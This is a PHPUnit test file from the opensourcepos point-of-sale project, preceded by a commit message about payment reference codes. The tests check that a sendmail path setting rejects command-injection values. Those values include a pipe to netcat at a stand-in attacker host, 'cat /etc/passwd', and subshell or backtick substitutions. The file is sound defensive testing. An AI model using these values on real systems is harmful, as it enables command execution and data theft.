Files
opensourcepos/tests/Controllers/ConfigTest.php
objecttothis 9c542efaf6 Feature: Payment reference code (#4587)
* Add `reference_code` to sale payment queries and group by statements

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Refactor `Sales` controller to improve payment handling readability and replace snake_case with camelCase variables

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Add missing translations for `Sales` language file and include new keys like `must_enter_rrn` and `reference_code`

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Refactor `Sales` payment handling to use camelCase and extend `addPayment` with `referenceCode` support

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Refactor `Sales` models, controllers, and libraries to adopt camelCase naming conventions and improve readability

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Add translations and updates for `must_enter_reference_code` and `reference_code` across language files and update `Sales` controller to replace `must_enter_rrn` with the new key

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* feat(sales): add reference code input and payment type helper

- Add `get_reference_code_payment_types()` to locale_helper as single
  source of truth for card-requiring payment types
- Add reference code row to register view, shown/hidden via JS based
  on selected payment type
- Fix payment type dropdown width to 100% for consistent layout
- Add min-width to payment buttons and right-padding to button group

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* feat(config): add payment reference code length configuration

- Add payment_reference_code_min and payment_reference_code_max fields
  to Config controller save logic
- Add translation keys for reference code length limits across all
  language files (min/max label + section header)
- Align array key formatting in Config controller for readability

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* style(lang): normalize string delimiters to single quotes across all language files

Convert double-quoted array keys and values to single quotes in all
app/Language/*/Config.php and app/Language/*/Sales.php variants.
No translation content changed — formatting only.

Also add Localization section to AGENTS.md documenting language file
conventions for new keys and fallback behavior.

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* feat(lang): add payment reference code length translations

Add localized strings for payment_reference_code_length_limits,
payment_reference_code_length_max_label, and
payment_reference_code_length_min_label across all supported locales.

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* test(config,sales): add payment reference code min/max validation tests

- Add baseLocalePayload() helper in ConfigTest for postSaveLocale tests
- Add testSaveLocale_AcceptsValidReferenceCodeMinMax and related boundary tests
- Add Sale_libPaymentTest for payment reference code validation in Sale_lib

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* fix(sales): add type-specific validation for amount_tendered

Gift card payments use amount_tendered as giftcard number (integer);
cash/other payments require decimal_locale format. Apply correct
validation rule per payment type instead of generic required.

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* fix(lang): replace self-closing </br> with <br> in all locales

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* fix(sales): use configurable precision in discount comparison

Replace hardcoded precision 2 with totals_decimals() when comparing
discount against item total via bccomp/bcmul, so discount validation
respects the configured decimal precision setting.

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* fix(lang): correct Azerbaijani translations in Config.php

Replace placeholder/mismatched strings with accurate translations:
- email_mailpath, email_smtp_pass, invoice_email_message
- number_locale_invalid/required, receipt_template
- reward_configuration, right, tax_decimals, theme

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* feat(sales): add reference code support to payment edit flow

- Add reference_code field to new payment row in sale edit form
- Persist reference_code on insert in Sale model
- Validate reference_code_new in Sales controller using configurable min/max length rules

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* feat(lang): add Georgian (ka) language stubs for Config and Sales

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Match the fallback maximum reference_code length to the maximum of the field in the db

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

* Bug fixes

- Add validation of UI settings to prevent overridden values from being passed.
- Correct maximum value in JS for payment_reference_code maximum length to 40.
- Fix bug causing copy_entire_sale() to incorrectly copy the reference code and cash_adjustment

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>

---------

Signed-off-by: Travis Garrison <travis@chiraqbookstore.com>
Co-authored-by: Travis Garrison <travis@chiraqbookstore.com>
2026-07-10 13:49:05 +04:00

287 lines
8.7 KiB
PHP

<?php
namespace Tests\Controllers;
use CodeIgniter\Test\CIUnitTestCase;
use CodeIgniter\Test\DatabaseTestTrait;
use CodeIgniter\Test\FeatureTestTrait;
use CodeIgniter\Config\Services;
class ConfigTest extends CIUnitTestCase
{
use DatabaseTestTrait;
use FeatureTestTrait;
protected $migrate = true;
protected $migrateOnce = true;
protected $refresh = false;
protected $namespace = null;
protected function setUp(): void
{
parent::setUp();
}
protected function resetSession(): void
{
$session = Services::session();
$session->destroy();
$session->set('person_id', 1);
$session->set('menu_group', 'office');
}
// ========== Valid Mailpath Tests ==========
public function testValidMailpath_AcceptsStandardPath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testValidMailpath_AcceptsPathWithDots(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/local/bin/sendmail.local'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testValidMailpath_AcceptsEmptyStringForNonSendmailProtocol(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'mail',
'mailpath' => ''
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testSendmailProtocol_RequiresMailpath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => ''
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
public function testNonSendmailProtocol_RejectsMaliciousMailpath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'smtp',
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
// ========== Command Injection Prevention Tests ==========
public function testMailpath_RejectsCommandInjection_Semicolon(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
public function testMailpath_RejectsCommandInjection_Pipe(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_And(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail && whoami'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Backtick(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/`whoami`'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Subshell(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail$(id)'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_SpaceInPath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail -t -i'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Newline(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => "/usr/sbin/sendmail\n/bin/bash"
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_DollarSign(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/$SENDMAIL'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
// ========== postSaveLocale: payment_reference_code_min / max ==========
private function baseLocalePayload(array $overrides = []): array
{
return array_merge([
'language' => 'en:English',
'currency_symbol' => '$',
'currency_code' => 'USD',
'timezone' => 'UTC',
'dateformat' => 'Y-m-d',
'timeformat' => 'H:i',
'number_locale' => 'en_US',
'currency_decimals' => '2',
'tax_decimals' => '2',
'quantity_decimals' => '2',
'cash_decimals' => '2',
'country_codes' => 'US',
'payment_options_order' => '',
'cash_rounding_code' => '',
'financial_year' => '1',
], $overrides);
}
public function testSaveLocale_AcceptsValidReferenceCodeMinMax(): void
{
$this->resetSession();
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
'payment_reference_code_min' => '3',
'payment_reference_code_max' => '20',
]));
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testSaveLocale_AcceptsMinEqualToMax(): void
{
$this->resetSession();
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
'payment_reference_code_min' => '10',
'payment_reference_code_max' => '10',
]));
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testSaveLocale_SanitizesNonNumericReferenceCodeLimits(): void
{
$this->resetSession();
// FILTER_SANITIZE_NUMBER_INT strips non-numeric chars — controller accepts without error
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
'payment_reference_code_min' => 'abc',
'payment_reference_code_max' => 'xyz',
]));
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
}